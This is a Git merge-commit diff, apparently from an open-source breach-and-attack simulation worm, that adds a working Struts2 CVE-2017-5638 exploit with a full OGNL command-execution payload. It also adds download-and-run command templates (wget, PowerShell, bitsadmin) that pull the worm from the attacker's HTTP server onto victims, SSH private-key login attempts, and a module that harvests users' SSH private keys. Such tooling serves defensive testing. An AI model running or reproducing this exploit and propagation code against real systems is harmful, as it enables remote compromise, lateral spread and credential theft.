Merge branch 'develop' into master

This commit is contained in:
Daniel Goldberg 2018-07-09 18:53:43 +03:00 committed by GitHub
commit f98a121c51
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
44 changed files with 1688 additions and 542 deletions

View File

@ -4,6 +4,7 @@ import struct
from abc import ABCMeta, abstractmethod from abc import ABCMeta, abstractmethod
import ipaddress import ipaddress
from six import text_type
__author__ = 'itamar' __author__ = 'itamar'
@ -65,7 +66,7 @@ class CidrRange(NetworkRange):
def __init__(self, cidr_range, shuffle=True): def __init__(self, cidr_range, shuffle=True):
super(CidrRange, self).__init__(shuffle=shuffle) super(CidrRange, self).__init__(shuffle=shuffle)
self._cidr_range = cidr_range.strip() self._cidr_range = cidr_range.strip()
self._ip_network = ipaddress.ip_network(unicode(self._cidr_range), strict=False) self._ip_network = ipaddress.ip_network(text_type(self._cidr_range), strict=False)
def __repr__(self): def __repr__(self):
return "<CidrRange %s>" % (self._cidr_range,) return "<CidrRange %s>" % (self._cidr_range,)

View File

@ -7,8 +7,9 @@ from abc import ABCMeta
from itertools import product from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter, ElasticGroovyExploiter SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
MSSQLFinger
__author__ = 'itamar' __author__ = 'itamar'
@ -40,7 +41,7 @@ def _cast_by_example(value, example):
return int(value) return int(value)
elif example_type is float: elif example_type is float:
return float(value) return float(value)
elif example_type is types.ClassType or example_type is ABCMeta: elif example_type in (type, ABCMeta):
return globals()[value] return globals()[value]
else: else:
return None return None
@ -84,10 +85,10 @@ class Configuration(object):
if val_type is types.FunctionType or val_type is types.MethodType: if val_type is types.FunctionType or val_type is types.MethodType:
continue continue
if val_type is types.ClassType or val_type is ABCMeta: if val_type in (type, ABCMeta):
value = value.__name__ value = value.__name__
elif val_type is tuple or val_type is list: elif val_type is tuple or val_type is list:
if len(value) != 0 and (type(value[0]) is types.ClassType or type(value[0]) is ABCMeta): if len(value) != 0 and type(value[0]) in (type, ABCMeta):
value = val_type([x.__name__ for x in value]) value = val_type([x.__name__ for x in value])
result[key] = value result[key] = value
@ -145,10 +146,10 @@ class Configuration(object):
max_iterations = 1 max_iterations = 1
scanner_class = TcpScanner scanner_class = TcpScanner
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, # multi ElasticGroovyExploiter, Struts2Exploiter # multi
] ]
# how many victims to look for in a single scan iteration # how many victims to look for in a single scan iteration
@ -184,9 +185,9 @@ class Configuration(object):
# Auto detect and scan local subnets # Auto detect and scan local subnets
local_network_scan = True local_network_scan = True
subnet_scan_list = ['', ] subnet_scan_list = []
blocked_ips = ['', ] blocked_ips = []
# TCP Scanner # TCP Scanner
HTTP_PORTS = [80, 8080, 443, HTTP_PORTS = [80, 8080, 443,
@ -233,6 +234,12 @@ class Configuration(object):
""" """
return product(self.exploit_user_list, self.exploit_password_list) return product(self.exploit_user_list, self.exploit_password_list)
def get_exploit_user_ssh_key_pairs(self):
"""
:return: All combinations of the configurations users and ssh pairs
"""
return product(self.exploit_user_list, self.exploit_ssh_keys)
def get_exploit_user_password_or_hash_product(self): def get_exploit_user_password_or_hash_product(self):
""" """
Returns all combinations of the configurations users and passwords or lm/ntlm hashes Returns all combinations of the configurations users and passwords or lm/ntlm hashes
@ -251,6 +258,7 @@ class Configuration(object):
exploit_password_list = ["Password1!", "1234", "password", "12345678"] exploit_password_list = ["Password1!", "1234", "password", "12345678"]
exploit_lm_hash_list = [] exploit_lm_hash_list = []
exploit_ntlm_hash_list = [] exploit_ntlm_hash_list = []
exploit_ssh_keys = []
# smb/wmi exploiter # smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds smb_download_timeout = 300 # timeout in seconds

View File

@ -3,14 +3,14 @@
"192.0.2.0:5000" "192.0.2.0:5000"
], ],
"internet_services": [ "internet_services": [
"monkey.guardicore.com", "monkey.guardicore.com",
"www.google.com" "www.google.com"
], ],
"keep_tunnel_open_time": 60, "keep_tunnel_open_time": 60,
"subnet_scan_list": [ "subnet_scan_list": [
""
], ],
"blocked_ips": [""], "blocked_ips": [],
"current_server": "192.0.2.0:5000", "current_server": "192.0.2.0:5000",
"alive": true, "alive": true,
"collect_system_info": true, "collect_system_info": true,
@ -37,14 +37,16 @@
"ShellShockExploiter", "ShellShockExploiter",
"ElasticGroovyExploiter", "ElasticGroovyExploiter",
"SambaCryExploiter", "SambaCryExploiter",
"Struts2Exploiter"
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",
"PingScanner", "PingScanner",
"HTTPFinger", "HTTPFinger",
"SMBFinger", "SMBFinger",
"MySQLFinger" "MySQLFinger",
"ElasticFinger", "MSSQLFingerprint",
"ElasticFinger"
], ],
"max_iterations": 3, "max_iterations": 3,
"monkey_log_path_windows": "%temp%\\~df1563.tmp", "monkey_log_path_windows": "%temp%\\~df1563.tmp",
@ -67,6 +69,7 @@
"exploit_password_list": [], "exploit_password_list": [],
"exploit_lm_hash_list": [], "exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [], "exploit_ntlm_hash_list": [],
"exploit_ssh_keys": [],
"sambacry_trigger_timeout": 5, "sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"], "sambacry_shares_not_to_check": ["IPC$", "print$"],
@ -90,4 +93,4 @@
"use_file_logging": true, "use_file_logging": true,
"victims_max_exploit": 7, "victims_max_exploit": 7,
"victims_max_find": 30 "victims_max_find": 30
} }

View File

@ -24,9 +24,9 @@ class HostExploiter(object):
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__, {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
'info': self._exploit_info, 'attempts': self._exploit_attempts}) 'info': self._exploit_info, 'attempts': self._exploit_attempts})
def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''): def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
self._exploit_attempts.append({'result': result, 'user': user, 'password': password, self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}) 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
@abstractmethod @abstractmethod
def exploit_host(self): def exploit_host(self):
@ -41,3 +41,4 @@ from sshexec import SSHExploiter
from shellshock import ShellShockExploiter from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter from elasticgroovy import ElasticGroovyExploiter
from struts2 import Struts2Exploiter

View File

@ -27,7 +27,7 @@ LOG = getLogger(__name__)
def twisted_log_func(*message, **kw): def twisted_log_func(*message, **kw):
if kw.has_key('isError') and kw['isError']: if kw.get('isError'):
error_msg = 'Unknown' error_msg = 'Unknown'
if 'failure' in kw: if 'failure' in kw:
error_msg = kw['failure'].getErrorMessage() error_msg = kw['failure'].getErrorMessage()

View File

@ -8,7 +8,7 @@ import requests
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from model import MONKEY_ARG from model import DROPPER_ARG
from shellshock_resources import CGI_FILES from shellshock_resources import CGI_FILES
from tools import build_monkey_commandline from tools import build_monkey_commandline
@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter):
self.attack_page(url, header, run_path) self.attack_page(url, header, run_path)
# run the monkey # run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
run_path = exploit + cmdline run_path = exploit + cmdline
self.attack_page(url, header, run_path) self.attack_page(url, header, run_path)

View File

@ -2,6 +2,7 @@ import logging
import time import time
import paramiko import paramiko
import StringIO
import monkeyfs import monkeyfs
from exploit import HostExploiter from exploit import HostExploiter
@ -31,6 +32,65 @@ class SSHExploiter(HostExploiter):
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
self._update_timestamp = time.time() self._update_timestamp = time.time()
def exploit_with_ssh_keys(self, port, ssh):
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
exploited = False
for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko
pkey = StringIO.StringIO(ssh_key_pair['private_key'])
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
try:
pkey = paramiko.RSAKey.from_private_key(pkey)
except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
LOG.error("Failed reading ssh key")
try:
ssh.connect(self.host.ip_addr,
username=user,
pkey=pkey,
port=port,
timeout=None)
LOG.debug("Successfully logged in %s using %s users private key",
self.host, ssh_string)
exploited = True
self.report_login_attempt(True, user, ssh_key=ssh_string)
break
except Exception as exc:
LOG.debug("Error logging into victim %r with %s"
" private key", self.host,
ssh_string)
self.report_login_attempt(False, user, ssh_key=ssh_string)
continue
return exploited
def exploit_with_login_creds(self, port, ssh):
user_password_pairs = self._config.get_exploit_user_password_pairs()
exploited = False
for user, curpass in user_password_pairs:
try:
ssh.connect(self.host.ip_addr,
username=user,
password=curpass,
port=port,
timeout=None)
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
self.host, user, curpass)
exploited = True
self.report_login_attempt(True, user, curpass)
break
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", self.host,
user, curpass, exc)
self.report_login_attempt(False, user, curpass)
continue
return exploited
def exploit_host(self): def exploit_host(self):
ssh = paramiko.SSHClient() ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
@ -46,29 +106,10 @@ class SSHExploiter(HostExploiter):
LOG.info("SSH port is closed on %r, skipping", self.host) LOG.info("SSH port is closed on %r, skipping", self.host)
return False return False
user_password_pairs = self._config.get_exploit_user_password_pairs() #Check for possible ssh exploits
exploited = self.exploit_with_ssh_keys(port, ssh)
exploited = False if not exploited:
for user, curpass in user_password_pairs: exploited = self.exploit_with_login_creds(port, ssh)
try:
ssh.connect(self.host.ip_addr,
username=user,
password=curpass,
port=port,
timeout=None)
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
self.host, user, curpass)
self.report_login_attempt(True, user, curpass)
exploited = True
break
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", self.host,
user, curpass, exc)
self.report_login_attempt(False, user, curpass)
continue
if not exploited: if not exploited:
LOG.debug("Exploiter SSHExploiter is giving up...") LOG.debug("Exploiter SSHExploiter is giving up...")

View File

@ -0,0 +1,246 @@
"""
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
import urllib2
import httplib
import unicodedata
import re
import logging
from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth
from tools import build_monkey_commandline, HTTPTools
from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \
DROPPER_ARG
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
def exploit_host(self):
dropper_path_linux = self._config.dropper_target_path_linux
dropper_path_win_32 = self._config.dropper_target_path_win_32
dropper_path_win_64 = self._config.dropper_target_path_win_64
ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
if not ports:
LOG.info("All web ports are closed on %r, skipping", self.host)
return False
for port in ports:
if port[1]:
current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
else:
current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
# Get full URL
url = self.get_redirected(current_host)
LOG.info("Trying to exploit with struts2")
# Check if host is vulnerable and get host os architecture
if 'linux' in self.host.os['type']:
return self.exploit_linux(url, dropper_path_linux)
else:
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
def check_remote_file(self, host, path):
command = EXISTS % path
resp = self.exploit(host, command)
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
def exploit_linux(self, url, dropper_path):
host_arch = Struts2Exploiter.check_exploit_linux(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist and self.check_remote_file(url, dropper_path):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
command = WGET_HTTP % {'monkey_path': dropper_path,
'http_path': http_path, 'parameters': cmdline}
self.exploit(url, command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
def exploit_windows(self, url, dropper_paths):
"""
:param url: Where to send malicious request
:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
:return: Bool. Successfully exploited or not
"""
host_arch = Struts2Exploiter.check_exploit_windows(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist:
for dropper_path in dropper_paths:
if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Select the dir and name for monkey on the host
if "windows-32" in src_path:
dropper_path = dropper_paths[0]
else:
dropper_path = dropper_paths[1]
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
# We need to double escape backslashes. Once for payload, twice for command
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline}
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
resp = self.exploit(url, command)
if 'powershell is not recognized' in resp:
self.exploit(url, backup_command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
@staticmethod
def check_exploit_windows(url):
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
if resp and ID_STRING in resp:
if "64-bit" in resp:
return "64"
else:
return "32"
else:
return False
@staticmethod
def check_exploit_linux(url):
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
if resp and ID_STRING in resp:
# Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
arch = arch.group(1)
return arch
else:
return False
@staticmethod
def get_redirected(url):
# Returns false if url is not right
headers = {'User-Agent': 'Mozilla/5.0'}
request = urllib2.Request(url, headers=headers)
try:
return urllib2.urlopen(request).geturl()
except urllib2.URLError:
LOG.error("Can't reach struts2 server")
return False
@staticmethod
def exploit(url, cmd):
"""
:param url: Full url to send request to
:param cmd: Code to try and execute on host
:return: response
"""
payload = "%%{(#_='multipart/form-data')." \
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
"(#_memberAccess?" \
"(#_memberAccess=#dm):" \
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
"(#ognlUtil.getExcludedPackageNames().clear())." \
"(#ognlUtil.getExcludedClasses().clear())." \
"(#context.setMemberAccess(#dm))))." \
"(#cmd='%s')." \
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
"(#p=new java.lang.ProcessBuilder(#cmds))." \
"(#p.redirectErrorStream(true)).(#process=#p.start())." \
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
"(#ros.flush())}" % cmd
# Turns payload ascii just for consistency
if isinstance(payload, unicode):
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
try:
request = urllib2.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output
page = urllib2.urlopen(request).read()
except AttributeError:
# If url does not exist
return False
except httplib.IncompleteRead as e:
page = e.partial
return page
@staticmethod
def get_exploitable_ports(host, port_list, names):
candidate_services = {}
for name in names:
chosen_services = {
service: host.services[service] for service in host.services if
('name' in host.services[service]) and (host.services[service]['name'] == name)
}
candidate_services.update(chosen_services)
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
'tcp-' + str(port) in candidate_services]
return valid_ports

View File

@ -405,7 +405,7 @@ def get_interface_to_target(dst):
for d, m, gw, i, a in routes: for d, m, gw, i, a in routes:
aa = atol(a) aa = atol(a)
if aa == dst: if aa == dst:
pathes.append((0xffffffffL, ("lo", a, "0.0.0.0"))) pathes.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m): if (dst & m) == (d & m):
pathes.append((m, (i, a, gw))) pathes.append((m, (i, a, gw)))
if not pathes: if not pathes:

View File

@ -4,6 +4,7 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y" MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r" DROPPER_ARG = "dr0pp3r"
ID_STRING = "M0NK3Y3XPL0ITABLE"
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
@ -14,3 +15,15 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s'
# Commands used to check for architecture and if machine is exploitable
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
# Commands used to check if monkeys already exists
EXISTS = "ls %s"

View File

@ -29,7 +29,7 @@ class VictimHost(object):
return self.ip_addr.__cmp__(other.ip_addr) return self.ip_addr.__cmp__(other.ip_addr)
def __repr__(self): def __repr__(self):
return "<VictimHost %s>" % self.ip_addr return "VictimHost({0!r})".format(self.ip_addr)
def __str__(self): def __str__(self):
victim = "Victim Host %s: " % self.ip_addr victim = "Victim Host %s: " % self.ip_addr
@ -39,7 +39,7 @@ class VictimHost(object):
victim += "] Services - [" victim += "] Services - ["
for k, v in self.services.items(): for k, v in self.services.items():
victim += "%s-%s " % (k, v) victim += "%s-%s " % (k, v)
victim += ']' victim += '] '
victim += "target monkey: %s" % self.monkey_exe victim += "target monkey: %s" % self.monkey_exe
return victim return victim

View File

@ -12,6 +12,7 @@ from control import ControlClient
from model import DELAY_DELETE_CMD from model import DELAY_DELETE_CMD
from network.firewall import app as firewall from network.firewall import app as firewall
from network.network_scanner import NetworkScanner from network.network_scanner import NetworkScanner
from six.moves import xrange
from system_info import SystemInfoCollector from system_info import SystemInfoCollector
from system_singleton import SystemSingleton from system_singleton import SystemSingleton
from windows_upgrader import WindowsUpgrader from windows_upgrader import WindowsUpgrader

View File

@ -27,3 +27,4 @@ from elasticfinger import ElasticFinger
from mysqlfinger import MySQLFinger from mysqlfinger import MySQLFinger
from info import local_ips from info import local_ips
from info import get_free_tcp_port from info import get_free_tcp_port
from mssql_fingerprint import MSSQLFinger

View File

@ -10,6 +10,11 @@ from subprocess import check_output
from random import randint from random import randint
from common.network.network_range import CidrRange from common.network.network_range import CidrRange
try:
long # Python 2
except NameError:
long = int # Python 3
def get_host_subnets(): def get_host_subnets():
""" """
@ -93,8 +98,8 @@ else:
ifaddr = socket.inet_ntoa(ifreq[20:24]) ifaddr = socket.inet_ntoa(ifreq[20:24])
else: else:
continue continue
routes.append((socket.htonl(long(dst, 16)) & 0xffffffffL, routes.append((socket.htonl(long(dst, 16)) & 0xffffffff,
socket.htonl(long(msk, 16)) & 0xffffffffL, socket.htonl(long(msk, 16)) & 0xffffffff,
socket.inet_ntoa(struct.pack("I", long(gw, 16))), socket.inet_ntoa(struct.pack("I", long(gw, 16))),
iff, ifaddr)) iff, ifaddr))

View File

@ -0,0 +1,74 @@
import logging
import socket
from model.host import VictimHost
from network import HostFinger
__author__ = 'Maor Rayzin'
LOG = logging.getLogger(__name__)
class MSSQLFinger(HostFinger):
# Class related consts
SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096
TIMEOUT = 5
SERVICE_NAME = 'MSSQL'
def __init__(self):
self._config = __import__('config').WormConfiguration
def get_host_fingerprint(self, host):
"""Gets Microsoft SQL Server instance information by querying the SQL Browser service.
:arg:
host (VictimHost): The MS-SSQL Server to query for information.
:returns:
Discovered server information written to the Host info struct.
True if success, False otherwise.
"""
assert isinstance(host, VictimHost)
# Create a UDP socket and sets a timeout
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(self.TIMEOUT)
server_address = (str(host.ip_addr), self.SQL_BROWSER_DEFAULT_PORT)
# The message is a CLNT_UCAST_EX packet to get all instances
# https://msdn.microsoft.com/en-us/library/cc219745.aspx
message = '\x03'
# Encode the message as a bytesarray
message = message.encode()
# send data and receive response
try:
LOG.info('Sending message to requested host: {0}, {1}'.format(host, message))
sock.sendto(message, server_address)
data, server = sock.recvfrom(self.BUFFER_SIZE)
except socket.timeout:
LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host))
sock.close()
return False
host.services[self.SERVICE_NAME] = {}
# Loop through the server data
instances_list = data[3:].decode().split(';;')
LOG.info('{0} MSSQL instances found'.format(len(instances_list)))
for instance in instances_list:
instance_info = instance.split(';')
if len(instance_info) > 1:
host.services[self.SERVICE_NAME][instance_info[1]] = {}
for i in range(1, len(instance_info), 2):
# Each instance's info is nested under its own name, if there are multiple instances
# each will appear under its own name
host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i]
# Close the socket
sock.close()
return True

View File

@ -144,13 +144,13 @@ class SMBFinger(HostFinger):
host.os['type'] = 'linux' host.os['type'] = 'linux'
host.services[SMB_SERVICE]['name'] = service_client host.services[SMB_SERVICE]['name'] = service_client
if not host.os.has_key('version'): if 'version' not in host.os:
host.os['version'] = os_version host.os['version'] = os_version
else: else:
host.services[SMB_SERVICE]['os-version'] = os_version host.services[SMB_SERVICE]['os-version'] = os_version
return True return True
except Exception, exc: except Exception as exc:
LOG.debug("Error getting smb fingerprint: %s", exc) LOG.debug("Error getting smb fingerprint: %s", exc)
return False return False

View File

@ -10,8 +10,7 @@ odict
paramiko paramiko
psutil==3.4.2 psutil==3.4.2
PyInstaller PyInstaller
six
ecdsa ecdsa
netifaces netifaces
mock ipaddress
nose
ipaddress

View File

@ -0,0 +1,96 @@
import logging
import pwd
import os
import glob
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
class SSHCollector(object):
"""
SSH keys and known hosts collection module
"""
default_dirs = ['/.ssh/', '/']
@staticmethod
def get_info():
LOG.info("Started scanning for ssh keys")
home_dirs = SSHCollector.get_home_dirs()
ssh_info = SSHCollector.get_ssh_files(home_dirs)
LOG.info("Scanned for ssh keys")
return ssh_info
@staticmethod
def get_ssh_struct(name, home_dir):
"""
:return: SSH info struct with these fields:
name: username of user, for whom the keys belong
home_dir: users home directory
public_key: contents of *.pub file(public key)
private_key: contents of * file(private key)
known_hosts: contents of known_hosts file(all the servers keys are good for,
possibly hashed)
"""
return {'name': name, 'home_dir': home_dir, 'public_key': None,
